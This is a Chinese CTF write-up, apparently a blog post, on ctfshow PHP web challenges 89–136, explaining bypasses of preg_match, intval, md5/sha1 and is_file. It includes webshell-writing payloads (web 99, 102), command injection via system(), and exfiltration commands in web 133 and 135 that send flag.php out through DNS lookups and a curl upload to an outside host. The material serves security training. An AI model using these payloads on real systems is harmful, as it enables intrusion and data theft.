文章目录
- web 89
- web 90
- web 91
- web 92
- web 93
- web 94
- web 95
- web 96
- web 97
- web 98
- web 99
- web 100——`=`优先级、eval()用法
- web 101——RefelctionClass反射类
- web 102——php伪协议、hex2bin()
- web103
- web 104——sha1数组绕过
- web 105——变量覆盖`$$`
- web 106——sha1数组绕过
- web 107——变量覆盖`parse_str`
- web 108——`ereg()`%00截断
- web 109——__toString()方法、变量函数(DataTime等)
- web 110——__toString()方法、变量函数(FilesystemIterator)
- web 111——全局变量
- web 112——is_file()、php伪协议
- web 113——is_file()、php伪协议(zlib)
- web 114——is_file()、php伪协议(filter)
- web 115——is_numeric()、trim()、!==
- web 123——GET/POST传递变量特性(`[`)
- web 125——GET/POST传递变量特性(`[`、`highlight`、get数字传参、arg)
- web 126——GET/POST传递变量特性(`eval`、`assert`)
- web 127
- web 128——gettext()、get_defined_vars()
- web 129——php伪协议(嵌套无效协议)or 目录穿越
- web 130——数组绕过preg_match()/stripos()
- web 131——PCRE回溯次数绕过preg_match
- web 132——逻辑运算符
- web 133——DNSlog外带
- web 134——$_SERVER、parse_str、extract
- web 135——nl(linux)
- web 136——nl、tee(linux)
web 89
使用人工分配 ID 键的数值型数组绕过preg_match
.
两个函数:
preg_match()
:执行正则表达式,进行字符串过滤。preg_match函数用法,正则表达式语法。[0-9]
匹配0-9之间的所有字符。/
相当于一个分隔符,/../
之间的内容就是正则的语法。绕过方法:变量num为人工分配 ID 键的数值型数组,preg_match()
就会失效。如num[]=1,num[0]=1
intval()
:将变量的值默认转化为十进制。intval函数用法。绕过方法:可以使用==的特性,如+16、16.0;或者进制转换后,左右变量也相等。注意:
- 使用array()类型的数组,
intval
遇到空数组为0,非空数组为1.
- 使用人工分配 ID 键的数值型数组,
intval
遇到空数组为0,非空数组为1。
- 使用array()类型的数组,
web 90
解释:
-
===
强类型对比,可以使用进制转换进行绕过。补充==
:弱类型对比,添加+
符号或者.0
也成立。 -
intval($num,0)
代表通过检测变量num的格式来决定使用哪个进制。- 以
0x
或0X
为前缀,使用16进制; - 以
0
为前缀,使用8进制; - 使用10进制。
intval()
处理字符串时,其实跟整形一样。另外,intval()函数如果$base为0,则$var中存在字母的话遇到字母就停止读取,传入4476a会将后面的a丢弃,比较前面的.
- 以
-
GET传参接收的就是字符串数据。GET传参和POST传参,其实上传的都是HTML表单,HTML 表单并不传递整数、浮点数或者布尔值,它们只传递字符串。php类型比较表
-
php中,单引号和双引号包裹的,其实都是字符串,只是当其中包含变量时,单引号不会解释变量,双引号会解释变量。
web 91
解释:
- 四个字符:
^
:匹配输入字符串的开始位置。当在方括号表达式中使用该字符时,表示不接受该方括号表达式中的字符集合。要匹配^
字符本身,需要使用\
;$
:匹配输入字符串的结尾位置。如果设置RegExp对象的Multiline属性,$
也匹配\n
或\r
,要匹配$
字符本身,需要使用\
;i
:不区分大小写;m
:使边界字符$
和^
匹配每一行的开头和结尾。是多行,而不是整个字符串的开头和结尾。
%0a
是换行符的URL编码形式。
web 92
解释:
==
:弱类型对比,使用浮点数则使得==
不成立;intval()
将浮点数转化为整型,使得条件成立。
web 93
同上
web 94
web 95
解释:
==
绕过:用浮点数或进制转换;preg_match
:因为过滤.
,所以浮点数不行了,还过滤a-z,所以用%0a
(换行)绕过preg_match
;- 此外,换行不会影响
strpos
匹配相应的字符。
web 96
解释:
flag.php
跟./flag.php
一个意思。?u=php://filter/convert.base64-encode/resource=flag.php
,php伪协议读取文件。
web 97
解释:
md5
与===
连用时,可以用数组进行绕过,其结果都会转换为null;- 另外,数组的比较如下图:
web 98
解释:
- 看懂三元运算符,其格式为:
(expr1) ? (expr2):(expr3)
。如果expr1为true,则执行expr2;否则,执行expr3。$_GET?$_GET=&$_POST:'flag'; //等价于: if(isset($_GET)){ $_GET=&$_POST; //这句话的意思就是将POST传参的变量(数据)给GET传参。就是说POST传参的数据,GET参数也会得到,不管前端GET传什么。 } else{ 'flag'; }
- 故只要随便让GET进行传参,然后将
HTTP_FLAG=flag
使用POST传输,最后$_GET[‘HTTP_FLAG’]=flag
。 _FILE_
:取得当前文件的绝对地址。
web 99
解释:
highlight_file(_file_)
:将当前文件的代码以语法高亮的形式输出到浏览器;array_push()
:向数组尾部插入一个或多个元素。
rand()
:生成随机数。in_array(参数1,参数2)
:搜索数组中是否存在指定的值。第一个参数为要搜索的值,第二个参数为被搜索的数组。file_put_conntent(filename, data)
:把一个字符串写入文件中。- 绕过
in_array()
:当没有指定第三个参数的时候,in_array
就相当于==
,弱类型对比。 - 这段代码的总体意思就是:首先生成一个数组,数组元素随机生成(有区间),GET传参n=2.php,POST传参content,内容为
<?php system('ls');?>
web 100——=
优先级、eval()用法
解释:
is_numeric()
:用于检测变量是否为数字或数字字符串。因为赋值=
的优先级比and
优先级高,所以先执行赋值,也就是说V0的值由is_numeric($v1)
决定。
eval()
函数是将字符串当做php代码执行,且必须用;
结尾,所以v3必须有;
。- 交flag的时候,是
ctfshow{那一串值}
,将0x2d
转为-
。
web 101——RefelctionClass反射类
解释:这里需要学习一个反射类的概念,反射类可以说成是类的一个映射,可以利用反射类来代替有关类的应用的任何语句。举个例子:
<?php
class hacker{
public $hackername = "yn8rt";
const yn8rt='nb666';
public function show(){
echo $this->name,'<br>';
}
}
//有这么一个hacker类,假设我们不知道这个类是干什么用的,我们需要知道类里面的信息,这时候就需要用到ReflectionClass来对类进行反射
//现在我可以通过反射来获取这个类中的方法,属性,常量
//通过反射获取类的信息
$reflection = new ReflectionClass('hacker');//实例化反射对象,映射hacker类的信息
$consts = $reflection->getConstants();//获取所有常量
$props = $reflection->getProperties();//获取所有属性
$methods = $reflection->getMethods();//获取所有方法
var_dump($consts);
var_dump($props);
var_dump($methods);
?>
//返回值
array(1) {
["yn8rt"]=>
string(5) "nb666"
}
array(1) {
[0]=>
&object(ReflectionProperty)#2 (2) {
["name"]=>
string(10) "hackername"
["class"]=>
string(6) "hacker"
}
}
array(1) {
[0]=>
&object(ReflectionMethod)#3 (2) {
["name"]=>
string(4) "show"
["class"]=>
string(6) "hacker"
}
}
web 102——php伪协议、hex2bin()
pryload:
//get传参
http://78aa3fd2-c874-4f98-9c56-7094ea91789e.challenge.ctf.show/?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
//post传参
v1=hex2bin
解释:
- 几个函数
is_numeric($var)
:判断变量是否为数字或数字字符串。注意:
所以,这题变量v2必须是全数字字符串。
substr(string, start)
:返回字符串的一部分;call_user_func($callback, parameter)
:调用函数,第一个参数为被调用的函数,第二个参数为被调用函数所需的参数;file_put_contents(filename, data)
:把data数据写入filename。hex2bin()
:将十六进制字符转化为ASCII码字符。
php://filter/write=convert.base64-decode/resource=xxx
对即将要写的内容($str
)进行base64编码后,才会写到文件中。- 整个payload的逻辑就是将经过base64编码、16进制转换后的webshell赋值给v2(16进制后的shell必须为纯数字),然后调用
hex2bin
将16进制形式的webshell转化为ASCII码形式(因为base64编码所用的字符属于ASCII,故ASCII码形式的webshell也就是base64形式的webshell),然后再使用php伪协议的过滤器,将base64形式的webshell进行解码后,写入到目标文件中。 - 参考资料:
web103
相比于前一题,只是检测webshell中有没有php
字符串。
web 104——sha1数组绕过
使用数组进行绕过
sha1()
web 105——变量覆盖$$
解释:
-
foreach循环:
-
变量覆盖
# 第一次循环 $$key=$$value '等价于' $suces=$flag,//将原本flag的值赋给suces变量,这一步是为了die($suces),输出flag # 第二次循环 $$key=$$value ‘等价于’ $flag=null //这一步,是为了过if语句。
注意,
$<常量>=null
。第二次循环的时候,$flag=$2=null
web 106——sha1数组绕过
解释:sha1()
,使用数组进行绕过。
web 107——变量覆盖parse_str
解释:
parse_str(string, array)
,先看下图
所以,$v1
的值会赋值给$v2
。md5()
数组绕过,将数组传入md5()
会返回null
。
web 108——ereg()
%00截断
解释:
ereg()
正则匹配函数,类似preg_match
,php7.0已删除。ereg()
存在%00截断漏洞,也就是说在字符串中遇到%00,php解析器会认为字符串结束了。而且截断之后,%00后面的值会重新赋值给原来的变量。strrev()
反转字符串。==
支持不同的进制进行比较,就比如16==0x10
,这是true
。
web 109——__toString()方法、变量函数(DataTime等)
payload:?v1=Exception&v2=system(‘cat fl36dg.txt’)
解释:
-
正则表示式中
+
表示匹配前面的元素一次或多次。 -
变量函数的概念,出现类型
$v1()
,如果$v1
是一个函数名,$v1()
就会动态调用函数,调用方式有两种://第一种 $v1='system'; $v1('ls') //第二种 $v1=syetem('ls'); $v1();
-
__toString()
方法,将一个对象作为字符串使用时(echo <一个对象>
),php会自动调用该对象的__toString()
方法来获取字符串表示。注意,__toString()
方法在对象被隐式转换为字符串时(echo <一个对象>
)才会触发,如果直接调用该方法,不会有任何效果。
php中,自带__toString()
方法的内置类有:DataTime
、Exception
、SimpleXMLElement
。用法分别为:DataTime
Exception
SimpleXMLElement
web 110——__toString()方法、变量函数(FilesystemIterator)
解释:因为过滤的原因,原来的payload用不了了。这里使用FilesystemIterator
遍历文件系统中的文件和目录,getcwd()
获取当前目录(不需要传参,也就用不到单双引号)。本质就是获取当前目录下的文件。
web 111——全局变量
解释:
$refer=&$GLOBALS
是创建引用变量$refer
,通过引用变量,可以直接访问和修改全局作用域中的任何全局变量,而无需使用数组索引。($GLOBALS
本质上是一个全局变量组,数组)
可以直接用
var_dump()
输出$GLOBALS
echo
一般输出字符串,var_dump()
输出数组。
web 112——is_file()、php伪协议
解释:
highlight_file()
用于将指定文件的源代码以HTML格式进行高亮显示并输出到浏览器;is_file()
检查指定路径是否为一个普通文件。使用php伪协议进行绕过,就是说传入一个php伪协议,该函数会返回flase。is_file
认为伪协议不是文件,highlight_file
认为伪协议是文件。- php://filter是php中的伪协议主要用于在输入和输出流上应用过滤器。基本语法是:
php://filter/<filter>/resource
,其中<filter>
是要应用的过滤器名称,resource
是要过滤的资源。- 过滤读取的数据
//先读取flag.php的内容,再进行base64编码,也就是说以后呈现的内容是经过base64编码后的内容。 file_get_contents('php://filter/write=convert.base64-encode/resource=flag.php')
- 过滤写入的数据
// 先将字符串hello world进行base64编码,再写入flag.php文件中,写的时候是先进行base64解码,再写。也就是说在写的时候,先执行php://filter/write=convert.base64-decode对字符串进行解码。 $data='hello world'; file_put_contents('php://filter/write=convert.base64-decode/resource=flag.php',base64($data))
- 过滤读取的数据
web 113——is_file()、php伪协议(zlib)
解释:
zlib://
伪协议
使用// 压缩数据 $data = 'Hello, World!'; file_put_contents('zlib://compressed_data.txt.gz', $data); // 解压缩数据 $decompressedData = file_get_contents('zlib://compressed_data.txt.gz');
zlib://
伪协议将数据压缩并写入文件compress_data.txt.gz中;使用zlib://
伪协议从压缩的文件中读取解压缩的数据。compress.zlib://flag.php
读取 gz 压缩或普通输入文件。
web 114——is_file()、php伪协议(filter)
解释:这里没有过滤filter
,故payload:php://filter://resource=flag.php
。
web 115——is_numeric()、trim()、!==
解释:
trim()
:去除字符串首尾的空格或其他指定字符。使用%0c(换页符)进行绕过。
is_numeric
:判断变量是否为数字或数字字符串。绕过方法:%0c(换页符)、%20(空格)、%0a(换行符)等
!==
:强不等于,必须值相等,且类型相等。
web 123——GET/POST传递变量特性([
)
解释:
- PHP变量名只能由数字、字母和下划线组成,通过GET或POST传参的变量名,会自动将
(空格)
、+
、[
转换为_
。需要注意的是,变量名中出现[
(会被转化为_
),后面的其他字符不会被替换。如CTF[SHOW.COM => CTF_SHOW.COM
。 - 左边是字符串,右边是数字,
<=
似乎恒成立;左右两边都是字符串,似乎先比较第一个字母的ASCII值,若相同,再比较长度,逐一比较。
web 125——GET/POST传递变量特性([
、highlight
、get数字传参、arg)
payload:
//payload1
?1=flag.php //get
CTF_SHOW=1&CTF[SHOW.COM=2&fun=highlight($_GET[1]) //post
//payload2
$fl0g=flag_give_me; //get
CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($a[0]) //post
解释:
$_SERVER['argv']
:传递给脚本的参数数组。- 命令行情况下,
$_SERVER['argv'][0]
第一个元素是脚本的文件名(test.php),之后的元素是传递给脚本的参数(test1、test2)
- web网页模式下,
$arg
只接受GET传参,且必须在php.ini
开启register_argc_argv
配置项。$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’] = GET传参的值(?后面的)
,关于$_SERVER[‘QUERY_STRING’]
- 命令行情况下,
highlight_file
相当于print
,打印文件内容,GET传参,变量为数字的时候,不需要引号。如$_GET[1]
。- 第二种payload
eval("$c".";") == eval("eval("$f10g=flag_give_me;");")
web 126——GET/POST传递变量特性(eval
、assert
)
解释:bool assert($assertion, $description)
,当$assertion
是字符串时,它会被assert()
当做php代码执行,eval
和assert
都可以将字符当做代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分好可以不加。
web 127
解释:
extract()
:用于将数组中的键值对转换为变量和其对应的值。
$_SERVER['QUERY_STRING']
获取的是GET传参数据(?
后面的键值),此时%20(空格)
没有被转化为_
;只有$_GET
获取变量的时候,因为变量名不符合规范,%20(空格)
才会被转换为_
。(这里强行解释一番~,别问问我也不知道)
web 128——gettext()、get_defined_vars()
解释:
-
getext()
:输出一个字符串。_() == gettext()
-
array get_defined_vars ( void )
:返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
call_user_func(call_user_func($f1, $f2)) == call_user_func(call_user_func(‘_’, ‘get_defined_vars’)) //先输出get_defined_vars字符串,再调用get_defined_vars函数。
web 129——php伪协议(嵌套无效协议)or 目录穿越
两种payload:
f=php://filter/ctfshow/resource=flag.php
f=./ctfshow/../flag.php
解释:
- php伪协议在遇到无效协议时,会自动忽略。故paylaod:
f=php://filter/ctfshow/resource=flag.php
- 第二种payload相当于进入
ctfshow
文件夹,然后跳出,再访问flag.php
web 130——数组绕过preg_match()/stripos()
解释:
-
preg_match()
是进行正则匹配,遇到数组,直接输出False;
-
stripos()
是匹配子串,遇到数组,直接输出null
。注意,两个等于(null==false
)成立;三个等于(null===false
)不成立。
web 131——PCRE回溯次数绕过preg_match
/.+?ctfshow/is
,在ctfshow字符串前面至少有一个字符。/s
匹配换行。要想绕过preg_match
,目前只知道使用数组进行绕过,但是使用数组的话,stripos
会返回null
,null === flase
不成立,导致输出bye!!
。这里利用PCRE回溯次数限制绕过preg_match
。PHP利用PCRE回溯次数限制绕过某些安全限制
import requests
url='http://ced5ea6a-1d3b-4f66-a3ff-61a42deeaec4.challenge.ctf.show:8080/'
data={
'f':'show'*250002+'36Dctfshow'
}
re=requests.post(url=url,data=data).text
print(re)
web 132——逻辑运算符
访问./robots.txt
,发现admin
目录
这里主要考察逻辑运算符的执行顺序,当&&、||
同时存在时,从左往右进行运算
condition1 && condition2 || condition3 -> (condition1 && condition2) || condition3
其实只要保证condition3
为true就可以过第一个判断,第二个判断可以构造。故payload:?username=admin&password=&code=admin
。另外,mt_rand()
是一个伪随机数函数。
web 133——DNSlog外带
执行顺序:先进行substr()
函数截断然后去执行eval()
函数。substr($F, 0, 6)
是取索引值为0-5的字符。
?F=`$F`+;sleep(3)
eval(substr($F,0,6)) -> eval("`$F`+;") -> `$F`+; -> ``$F`+;sleep(3)`+; //反引号是执行系统命令,shell中要想嵌套使用反引号,需要加上\,故里面的`$F`属于无效命令
//paylaod1
?F=`$F`+;ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.76iux5.dnslog.cn -c 1
// -c: 设置完成要求回应的次数
// grep ctfshow: 打印匹配ctfhsow的行
// tr -cd "[a-z]":只保留a-z
//payload2
?F=`$F`+;curl -X POST -F 'file=@flag.php' http://xxx
// -X: 发出POST请求
// -F: 向http://xxx上传二进制文件
ping
子域名lfoztd.dnslog.cn
,在可以通过.
加上任何字符串,DNSLlog平台都会有DNS查询记录。此外,DNS查询还可以判断主机是否联网。
点copy to clipboard
生成服务器域名,然后使用payload2就可以拿到flag
web 134——$_SERVER、parse_str、extract
$_SERVER['QUERY_STRING']
是获取get的参数以及值。$_SERVER[‘QUERY_STRING‘] 学习记录parse_str
:将字符串解析到变量中。
extract()
:从数组中将变量导入到当前的符号表(简单来说就是,将数组里的键给搞成变量,将数组的值给对应的键)。
payload:?_POST[key1]=36d&_POST[key2]=36d
。
parse_str
将_POST[key1]=36d&_POST[key2]=36d
转化为$_POST(数组)
,extract
将$_POST[key1]=36d、$_POST[key2]=36d
转化为$key1=36d、$key2=36d
。
web 135——nl(linux)
这个地方过滤了cat、curl
,我们可以使用nl
代替cat
,相比于cat
,nl
在输出文件时会加上行号。
//payload1
?F=`$F`+;ping `nl flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.76iux5.dnslog.cn -c 1
//payload2
?F=`$F`+;nl falg.php > a //查看flag.php文件,再重定向到a文件中,访问url/a即可下载文件。这里做了过滤,不能加文件后缀
web133不可以用payload2解。
web 136——nl、tee(linux)
//payload
?c=ls / | tee 1 //扫描当前目录,并将结果保存到文件1中,这里不能加后缀,文件后缀被过滤了
?c=nl /f149_15_h3r3 | tee 2 //nl输出文件内容,并保存到文件2中。这里需要加/才能找到目标文件。